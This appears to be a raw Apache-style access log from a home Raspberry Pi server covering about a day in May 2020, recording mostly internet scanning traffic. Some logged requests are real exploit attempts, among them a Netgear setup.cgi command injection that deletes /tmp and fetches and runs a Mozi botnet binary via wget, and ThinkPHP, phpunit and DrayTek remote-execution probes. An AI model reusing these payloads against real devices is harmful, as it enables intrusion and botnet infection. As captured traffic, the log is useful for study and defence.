Fri May 15 06:25:08 MDT 2020 06:25:08 up 80 days, 10:53, 1 user, load average: 0.37, 0.27, 0.27 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 80days 1:31m 2.93s /usr/bin/lxsession -s LXDE-pi -e LXDE 103.203.210.247 - - [15/May/2020:13:16:16 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 86.125.104.96 - - [15/May/2020:13:54:04 +0000] "GET / HTTP/1.1" 400 0 "" "" 59.127.186.229 - - [15/May/2020:13:54:53 +0000] "GET / HTTP/1.1" 400 0 "" "" 186.4.184.149 - - [15/May/2020:13:57:21 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 195.54.160.121 - - [15/May/2020:14:04:47 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.168.173.122 - - [15/May/2020:14:23:55 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 194.126.11.101 - - [15/May/2020:14:24:54 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 194.126.11.101 - - [15/May/2020:14:24:54 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 195.54.160.121 - - [15/May/2020:14:26:42 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 159.89.142.222 - - [15/May/2020:15:21:08 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 159.89.142.222 - - [15/May/2020:15:21:08 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 173.212.205.251 - - [15/May/2020:15:27:35 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 171.243.125.6 - - [15/May/2020:15:27:56 +0000] "GET / HTTP/1.1" 400 0 "" "" 205.240.205.50 - - [15/May/2020:15:29:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 202.180.16.5 - - [15/May/2020:16:10:47 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 202.180.16.5 - - [15/May/2020:16:10:48 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:49 +0000] "GET /TP/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:50 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:50 +0000] "GET /html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:51 +0000] "GET /public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:52 +0000] "GET /TP/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:53 +0000] "GET /elrekt.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:53 +0000] "GET /index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.180.16.5 - - [15/May/2020:16:10:54 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 1.34.131.55 - - [15/May/2020:16:38:04 +0000] "GET / HTTP/1.1" 400 0 "" "" 114.35.237.250 - - [15/May/2020:17:09:34 +0000] "GET / HTTP/1.1" 400 0 "" "" 209.126.1.2 - - [15/May/2020:17:35:26 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 81.215.197.101 - - [15/May/2020:18:09:23 +0000] "GET / HTTP/1.1" 400 0 "" "" 52.168.139.229 - - [15/May/2020:18:13:43 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 52.168.139.229 - - [15/May/2020:18:13:43 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 5.8.10.202 - - [15/May/2020:18:17:46 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/5350 (KHTML, like Gecko) Chrome/19.0.832.0 Safari/5350" 193.118.53.210 - - [15/May/2020:18:36:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 " 209.126.1.2 - - [15/May/2020:19:41:57 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 209.126.1.2 - - [15/May/2020:19:41:57 +0000] "GET / HTTP/1.1" 200 25000 "" "libwww-perl/6.44" 190.93.211.71 - - [15/May/2020:20:47:37 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 64.126.140.212 - - [15/May/2020:21:02:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 99.48.176.109 - - [15/May/2020:21:02:57 +0000] "GET / HTTP/1.1" 400 0 "" "" 80.77.123.128 - - [15/May/2020:21:16:17 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 198.20.103.178 - - [15/May/2020:22:10:40 +0000] "GET /login.html HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 " 50.246.217.197 - - [15/May/2020:22:14:43 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 50.246.217.197 - - [15/May/2020:22:14:43 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 92.247.114.98 - - [15/May/2020:22:32:27 +0000] "GET / HTTP/1.1" 400 0 "" "" 139.0.7.74 - - [15/May/2020:22:47:17 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 66.240.205.34 - - [15/May/2020:23:12:20 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 79.44.38.43 - - [15/May/2020:23:13:49 +0000] "GET / HTTP/1.1" 400 0 "" "" 223.155.32.254 - - [16/May/2020:00:18:15 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 0 "" "" 66.215.208.191 - - [16/May/2020:00:28:20 +0000] "GET / HTTP/1.1" 400 0 "" "" 195.54.160.121 - - [16/May/2020:01:02:07 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 108.160.193.158 - - [16/May/2020:01:02:15 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 108.160.193.158 - - [16/May/2020:01:02:15 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 195.54.160.121 - - [16/May/2020:01:07:30 +0000] "GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 195.54.160.121 - - [16/May/2020:01:07:30 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 59.126.106.34 - - [16/May/2020:01:18:35 +0000] "GET / HTTP/1.1" 400 0 "" "" 195.54.160.121 - - [16/May/2020:01:20:22 +0000] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:45:57 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:46:03 +0000] "GET /documents/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:46:41 +0000] "GET /ac0xl/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:46:56 +0000] "GET /ac0xl/logs/ HTTP/1.1" 200 25000 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:47:08 +0000] "GET /ac0xl/logs/2020.05.15 HTTP/1.1" 200 20094 "http://162.250.19.7/ac0xl/logs/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:48:59 +0000] "GET /ac0xl/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:48:59 +0000] "GET /favicon.ico HTTP/1.1" 200 533 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:49:03 +0000] "GET /ac0xl/Title%2018%20U.S.C.%20%20Section%20242.doc HTTP/1.1" 200 22016 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:51:40 +0000] "GET /documents/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:51:40 +0000] "GET /favicon.ico HTTP/1.1" 200 533 "http://162.250.19.7/documents/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/May/2020:02:51:44 +0000] "GET /documents/Title%2018%20U.S.C.%20%20Section%20242.doc HTTP/1.1" 200 22016 "http://162.250.19.7/documents/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 37.49.226.252 - - [16/May/2020:03:01:02 +0000] "GET / HTTP/1.1" 200 25000 "" "" 195.54.160.121 - - [16/May/2020:03:30:47 +0000] "POST /api/jsonws/invoke HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 223.155.87.241 - - [16/May/2020:03:51:03 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 0 "" "" 176.115.242.40 - - [16/May/2020:05:07:03 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 220.134.146.17 - - [16/May/2020:05:13:45 +0000] "GET / HTTP/1.1" 400 0 "" "" 137.59.16.163 - - [16/May/2020:05:27:15 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" 59.126.75.249 - - [16/May/2020:06:55:04 +0000] "GET / HTTP/1.1" 400 0 "" "" 77.242.22.60 - - [16/May/2020:07:00:29 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 77.242.22.60 - - [16/May/2020:07:00:29 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 221.208.194.224 - - [16/May/2020:08:33:48 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 195.54.160.121 - - [16/May/2020:09:09:30 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 113.170.16.235 - - [16/May/2020:09:42:56 +0000] "GET / HTTP/1.1" 400 0 "" "" 14.102.49.51 - - [16/May/2020:10:08:57 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 69.171.192.58 - - [16/May/2020:10:20:18 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 69.171.192.58 - - [16/May/2020:10:20:18 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 82.211.156.38 - - [16/May/2020:10:27:14 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 207.102.21.5 - - [16/May/2020:10:55:31 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 207.102.21.5 - - [16/May/2020:10:55:31 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 220.134.158.228 - - [16/May/2020:11:00:04 +0000] "GET / HTTP/1.1" 400 0 "" "" 182.117.176.254 - - [16/May/2020:11:26:51 +0000] "POST /HNAP1/ HTTP/1.0" 404 0 "" "" 36.93.70.218 - - [16/May/2020:11:46:37 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 162.243.138.119 - - [16/May/2020:12:15:57 +0000] "GET /portal/redlion HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" Sat May 16 06:25:07 MDT 2020 06:25:08 up 81 days, 10:53, 1 user, load average: 0.55, 0.30, 0.28 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 81days 1:32m 3.13s /usr/bin/lxsession -s LXDE-pi -e LXDE